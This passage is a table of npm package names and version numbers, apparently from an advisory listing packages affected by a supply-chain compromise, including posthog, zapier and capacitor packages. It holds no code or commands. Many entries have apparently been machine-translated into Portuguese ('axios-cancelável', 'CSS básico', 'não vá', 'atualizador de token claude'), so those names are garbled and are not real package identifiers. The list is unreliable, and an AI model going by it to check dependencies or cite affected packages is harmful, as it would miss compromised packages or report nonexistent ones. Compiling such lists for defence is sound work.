| axios-builder | 1.2.1 |
| axios-cancelável | 1.0.2, 1.0.1 |
| axios-temporizado | 1.0.2, 1.0.1 |
| CSS básico | 1.1.4, 1.1.3 |
| benmostyn-frame-print | 1.0.1 |
| bestgpiocontrolador | 1.0.10 |
| adaptador bidirecional | 1.2.2, 1.2.4, 1.2.5, 1.2.3 |
| blinqio-executions-cli | 1.0.41 |
| blob para base64 | 1.0.3 |
| bun-plugin-httpfile | 0.1.1 |
| bytecode-checker-cli | 1.0.11, 1.0.8, 1.0.9, 1.0.10 |
| bytes-para-x | 1.0.1 |
| calcular-juros-de-empréstimo | 1.0.4 |
| capacitor-plugin-apptrackingios | 0.0.21 |
| compra de capacitor-plug- | 0.1.1 |
| capacitor-plugin-scgssigninwithgoogle | 0.0.5 |
| histórico de compra de capacitores | 0.0.10 |
| gravador-de-voz-capacitor-wav | 6.0.3 |
| downloads de extensões do chrome | 0.0.3, 0.0.4 |
| atualizador de token claude | 1.0.3 |
| API do CoinMarketCap | 3.1.3, 3.1.2 |
| cores-regex | 2.0.1 |
| comando-irail | 0.5.4 |
| comparar-obj | 1.1.1, 1.1.2 |
| redutor composto | 1.0.4, 1.0.3, 1.0.2, 1.0.5 |
| contagem regressiva | 1.0.2, 1.0.1 |
| instruções-cpu | 0.0.14 |
| criar-aplicativo-diretor | 0.1.1 |
| criar-aplicativo-glee | 0.2.3, 0.2.2 |
| criar-hardhat3-aplicativo | 1.1.4, 1.1.3, 1.1.1, 1.1.2 |
| codec de endereço criptográfico | 0.1.9 |
| css-dedoupe | 0.1.2 |
| dashboard-estado-vazio | 1.0.3 |
| designstudiouiux | 1.0.1 |
| devstart-cli | 1.0.6 |
| dialogflow-es | 1.1.4, 1.1.3, 1.1.1, 1.1.2 |
| servidor de bot do discord | 0.1.2 |
| docusaurus-plugin-vanilla-extract | 1.0.3 |
| não vá | 1.1.2 |
| modelo-dotnet | 0.0.3, 0.0.4 |
| plugin-drop-events-on-property | 0.0.2 |
| testador de entregabilidade de e-mail | 1.1.1 |
| impor-nome-da-ramificação | 1.1.3 |
| esbuild-plugin-brotli | 0.2.1 |
| esbuild-plugin-eta | 0.1.1 |
| esbuild-plugin-httpfile | 0.4.1 |
| configuração eslint-nitpicky | 4.0.1 |
| eslint-config-trigo | 22.0.2 |
| eslint-config-zeallat-base | 1.0.4 |
| ethereum-ens | 0.8.1 |
| evm-checkcode-cli | 1.0.15, 1.0.12, 1.0.13, 1.0.14 |
| ticker exato | 0.3.5 |
| sessão de áudio da exposição | 0.2.1 |
| expressos | 1.1.3 |
| dedos gordos | 1.0.2, 1.0.1 |
| inversão de recurso | 1.0.2, 1.0.1 |
| mecanismo de busca firestore | 1.2.3 |
| fittxt | 1.0.3, 1.0.2 |
| pilhas de abas | 1.0.2, 1.0.1 |
| achatar-desachatar | 1.0.2, 1.0.1 |
| fornik-error-focus | 2.0.1 |
| loja formik | 1.0.1 |
| localizador difuso | 1.0.5, 1.0.6 |
| gate-evm-check-code2 | 2.0.3, 2.0.4, 2.0.5, 2.0.6 |
| gate-evm-tools-test | 1.0.7, 1.0.8, 1.0.5, 1.0.6 |
| gatsby-plugin-cname | 1.0.2, 1.0.1 |
| estoque de meteoros gerador | 0.1.6 |
| generator-ng-itobuz | 0.0.15 |
| obter-esses-argumentos | 1.3.3 |
| ação-github-para-gerador | 2.1.28, 2.1.27 |
| gitsafe | 1.0.5 |
| modelo-go | 0.1.8, 0.1.9 |
| gulp-inject-envs | 1.2.2, 1.2.1 |
| cliente haufe-axera-api | 0.0.1, 0.0.2 |
| desenho de caixa de mapa da esperança | 0.1.1 |
| desenho de esperança | 1.0.3 |
| protótipo de design de hover | 0.0.5 |
| httpness | 1.0.3, 1.0.2 |
| hiper-satisfatório | 1.0.3 |
| hipertermo-hipster | 1.0.7 |
| ids-css | 1.5.1 |
| IDs-enterprise-servidor mcp | 0.0.2 |
| IDs-enterprise-ng | 20.1.6 |
| IDs-enterprise-digitações | 20.1.6 |
| imagem-para-uri | 1.0.2, 1.0.1 |
| plugin-insomnia-random-pick | 1.0.4 |
| fatura | 0.2.2 |
| miniaplicativo de escudo de ferro | 0.0.2 |
| botão ito | 8.0.3 |
| itobuz-angular | 0.0.1 |
| itobuz-angular-auth | 8.0.11 |
| itobuz-botão-angular | 8.0.11 |
| Jacob-Zuma | 1.0.2, 1.0.1 |
| teste de variação de jaetut | 1.0.2 |
| jan-navegador | 0.13.1 |
| jquery-bindings | 1.1.3, 1.1.2 |
| jsonsurge | 1.0.7 |
| torrada na medida certa | 1.7.1 |
| porta de eliminação | 2.0.3, 2.0.2 |
| korea-administrative-area-geo-json-util | 1.0.7 |
| kwami | 1.5.9, 1.5.10 |
| códigos de idioma | 1.0.2, 1.0.1 |
| licença-o-matic | 1.2.2, 1.2.1 |
| lint-staged-imagemin | 1.3.1, 1.3.2 |
| servidor lite-serper-mcp | 0.2.2 |
| luno-api | 1.2.3 |
| manual-billing-system-miniapp-api | 1.3.1 |
| anúncio-do-plugin-medusa | 0.0.3 |
| medusa-plugin-logs | 0.0.17 |
| medusa-plugin-momo | 0.0.68 |
| medusa-plugin-product-reviews-kvy | 0.0.4 |
| medusa-plugin-zalopay | 0.0.40 |
| dígito verificador mod10 | 1.0.1 |
| mon-package-react-typescript | 1.0.1 |
| minha-biblioteca-saeed | 0.1.1 |
| n8n-nós-tmdb | 0.5.1 |
| n8n-nodes-vercel-ai-sdk | 0.1.7 |
| aplicativo viral de nós n8n | 0.2.5 |
| nanoreset | 7.0.2, 7.0.1 |
| próxima dependência circular | 1.0.3, 1.0.2 |
| próximo-google-analytics-simples | 1.1.1, 1.1.2 |
| progresso estilizado próximo | 1.0.4, 1.0.5 |
| ngx-useful-swiper-prosenjit | 9.0.2 |
| ngx-wooapi | 12.0.1 |
| loja normal | 1.3.1, 1.3.4, 1.3.3, 1.3.2 |
| obj-para-css | 1.0.3, 1.0.2 |
| okta-react-router-6 | 5.0.1 |
| open2internet | 0.1.1 |
| orbit-boxicons | 2.1.3 |
| ferramentas-de-desenho-de-orbita-nebulosa | 1.0.10 |
| orbit-nebula-editor | 1.0.2 |
| orbit-sabão | 0.43.13 |
| orquestra | 12.1.2 |
| testador de pacotes | 1.0.1 |
| plugin-de-copiadores-de-ativos-de-parcelas | 1.1.3, 1.1.2 |
| anotação em PDF | 0.0.2 |
| piclita | 1.0.1 |
| pico-uid | 1.0.4, 1.0.3 |
| pacote-readme | 1.1.1 |
| poper-react-sdk | 0.1.2 |
| posthog-docusaurus | 2.0.6 |
| posthog-js | 1.297.3 |
| posthog-node | 4.18.1, 5.13.3, 5.11.3 |
| posthog-plugin-hello-world | 1.0.1 |
| posthog-react-native | 4.11.1, 4.12.5 |
| posthog-react-native-session-replay | 1.2.2 |
| mesa prime-one | 0.0.19 |
| prompt-eng | 1.0.50 |
| puny-req | 1.0.3 |
| ra-auth-firebase | 1.0.3 |
| ra-dados-firebase | 1.0.8, 1.0.7 |
| react-component-taggers | 0.1.9 |
| react-data-to-export | 1.0.1 |
| react-element-prompt-inspector | 0.1.18 |
| reagir-favic | 1.0.2 |
| react-hook-form-persist | 3.0.2, 3.0.1 |
| ícones react-jam | 1.0.2, 1.0.1 |
| react-keycloak-context | 1.0.8, 1.0.9 |
| configuração-biblioteca-react | 0.0.6 |
| react-linear-loader | 1.0.2 |
| react-micromodal.js | 1.0.2, 1.0.1 |
| react-native-datepicker-modal | 1.3.1, 1.3.2 |
| react-native-email | 2.1.1, 2.1.2 |
| react-native-fetch | 2.0.1, 2.0.2 |
| react-native-obter-dimensões-de-pixel | 1.0.2, 1.0.1 |
| react-native-google-maps-directions | 2.1.2 |
| react-native-jam-icons | 1.0.2, 1.0.1 |
| nível de log do react-native | 1.2.2, 1.2.1 |
| react-native-modest-checkbox | 3.3.1 |
| react-native-modest-storage | 2.1.1 |
| react-native-chamada-de-telefone | 1.2.2, 1.2.1 |
| react-native-retriable-fetch | 2.0.1, 2.0.2 |
| react-native-use-modal | 1.0.3 |
| react-native-view-finder | 1.2.2, 1.2.1 |
| react-native-websocket | 1.0.4, 1.0.3 |
| funções de trabalho react-native | 3.3.3 |
| react-qr-image | 1.1.1 |
| redefinição | 1.0.5 |
| visualizador rediff | 0.0.7 |
| kit de roteador redux | 1.2.2, 1.2.4, 1.2.3 |
| rollup-plugin-httpfile | 0.2.1 |
| sa-número-de-registro-da-empresa-regex | 1.0.2, 1.0.1 |
| sa-id-gen | 1.0.4, 1.0.5 |
| igual | 1.0.3 |
| scgs-capacitor-subscribe | 1.0.11 |
| scgsffcreator | 1.0.5 |
| definir-propriedade-aninhada | 2.0.1, 2.0.2 |
| sessões-jwt-prateleira | 0.1.2 |
| shell-exec | 1.1.4, 1.1.3 |
| shinhan-limit-scrap | 1.0.3 |
| uso de habilidades | 0.1.2, 0.1.1 |
| histórias-da-api-solomão | 1.0.2 |
| histórias-salomão-v3 | 1.15.6 |
| solomon-v3-ui-wrapper | 1.6.1 |
| ordenar por distância | 2.0.1 |
| informações de identificação sul-africanas | 1.0.2 |
| funções-estatísticas | 1.0.1 |
| loja | 2.3.2 |
| Super-commit | 1.0.1 |
| svelte-autocomplete-select | 1.1.1 |
| esbelto-tostado | 1.1.3, 1.1.2 |
| tabela tanstack-shadcn | 1.1.5 |
| tcsp | 2.0.2 |
| teste de desenho tcsp | 1.0.5 |
| tcsp-test-vd | 2.4.4 |
| biblioteca de modelos | 1.1.4, 1.1.3 |
| modelo-micro-serviço | 1.0.3, 1.0.2 |
| tenaz-busca | 2.3.3, 2.3.2 |
| aplicativo de teste de fundição | 1.0.4, 1.0.3, 1.0.2, 1.0.1 |
| aplicativo de teste de capacete | 1.0.4, 1.0.3, 1.0.2, 1.0.1 |
| test23112222-api | 1.0.1 |
| tiaan | 1.0.2 |
| token.js-fork | 0.7.32 |
| aplicativo trigo-react | 4.1.2 |
| cerca tipo | 1.2.2, 1.2.3 |
| tipoorm-órbita | 0.2.27 |
| tipado indefeso | 1.0.4, 1.0.3 |
| uplandui | 0.5.4 |
| upload-to-play-store | 1.0.2, 1.0.1 |
| url-codificar-decodificar | 1.0.2, 1.0.1 |
| usar alterações não salvas | 1.0.9 |
| documento de identidade sul-africano válido | 1.0.3 |
| vf-oss-template | 1.0.4, 1.0.3, 1.0.2, 1.0.1 |
| vite-plugin-httpfile | 0.2.1 |
| vue-browserupdate-nuxt | 1.0.5 |
| web-scraper-mcp | 1.1.4 |
| tipos-web-htmx | 0.1.1 |
| tipos-web-lit | 0.1.1 |
| webpack-loader-httpfile | 0.2.1 |
| galeria-de-especialistas-em-bem-estar | 5.1.1 |
| wenk | 1.0.9, 1.0.10 |
| zapier-armazenamento-assíncrono | 1.0.3, 1.0.2, 1.0.1 |
| zapier-platform-cli | 18.0.4, 18.0.3, 18.0.2 |
| zapier-platform-core | 18.0.4, 18.0.3, 18.0.2 |
| esquema-da-plataforma-zapier | 18.0.4, 18.0.3, 18.0.2 |
| scripts zapier | 7.8.3, 7.8.4 |
| zuper-cli | 1.0.1 |
| zuper-sdk | 1.0.57 |
| zuper-stream | 2.0.9 |




